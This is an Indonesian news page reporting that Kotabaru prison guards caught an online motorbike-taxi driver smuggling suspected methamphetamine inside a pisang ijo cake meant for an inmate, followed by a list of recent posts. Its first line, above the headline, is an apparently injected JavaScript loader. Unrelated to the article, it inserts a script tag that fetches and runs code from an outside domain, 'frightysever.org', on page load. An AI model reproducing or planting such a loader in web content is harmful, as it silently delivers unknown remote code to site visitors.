(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sipir Bekuk Ojol, Antar Pisang Ijo ‘Isi’ Sabu ke Dalam Lapas Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Salah seorang driver ojek online (Ojol) di Kabupaten Kotabaru harus berurusan dengan petugas kepolisian. Pasalnya, setelah driver Ojol kedapatan mengantarkan barang titipan makanan berisi narkotika jenis sabu ke salah satu warga binaan di dalam Lembaga Permasyarakatan (Lapas) Kelas II A Kotabaru.

Bermodus mengirim makanan untuk berbuka puasa, ternyata ada barang haram yang disisipkan ke dalam kue pisang ijo yang diantar.

Informasi yang dihimpun oleh Kanalkalimantan.com, kejadian pengantaran barang haram maka yang hendak diselundupkan ke dalam Lapas, Jum’at (8/4/2022) sekitar pukul 14.30 Wita. Semua pembesuk maupun pengantar barang sebelum masuk Lapas oleh para petugas barang bawaan diperksa. Setelah ditanya kepada yang bersangkutan oleh petugas, ia terlihat mencurigakan apalagi dengan identitas yang tidak jelas. Melihat itu, petugas langsung memeriksa barang bawaannya dengan teliti.

Alhasil, di dalam kue pisang ijo terdapat bungkusan kecil yang diduga narkotika jenis sabu, dari situ pelaku langsung diamankan dan dimintai keterangan.

 

Kalapas Kotabaru Yosef Benyamin Yembise. Foto: muhammad

Baca juga  : Erick Thohir Dorong PLN Kembangkan Bisnis di Luar Kelistrikan

Kepala Lapas Kelas II A Kotabaru, Yosef Benyamin Yembise menjelaskan, pengantar barang tersebut berprofesi sebagai driver ojol berinisial S. Karena terlihat mencurigakan, maka petugas yang berjaga langsung memeriksa barang bawaannya dan ditemukannya 1 paket kecil yang diduga itu adalah sabu.

“Saya baru menjabat sebagai Kalapas Kotabaru selama 4 bulan, dan ini merupakan kali ketiga kami menemukan warga yang ingin memasukkan sabu ke dalam lingkungan Lapas,” tutur Yosef kepada Kanalkalimantan.com, Jum’at (8/4/2022) sore.

Menurutnya, sangat disayangkan prilaku itu terjadi, saat pihaknya berusaha untuk meningkatkan pelayanan kepada masyarakat dengan menyediakan berbagai layanan dan meskipun dengan keterbatasan SDM, akan tetapi tetap menjadi perhatian bersama guna memberikan pelayanan prima. Masih ada saja masyarakat di luar Lapas ingin mencoba memasukkan barang semacam itu.

“Berdasarkan hasil keterangan yang kami dapat tadi, barang tersebut rencananya akan diserahkan kepada warga binaan yang ada di dalam Lapas. Untuk saat ini, pelaku sudah diamankan oleh jajaran Satres Narkoba Polres Kotabaru karena usai kejadian tadi kami langsung berkoordinasi kepada jajaran Polres Kotabaru. Ini menjadi perhatian kita, saya menekankan jangan sampai kita membuat kesalahan apalagi sekarang ini adalah bulan yang sangat baik, justru dapat merugikan kita sendiri,” pungkasnya. (Kanalkalimantan.com/muhammad)

Reporter  : muhammad
Editor : bie


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

4 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

5 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

6 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.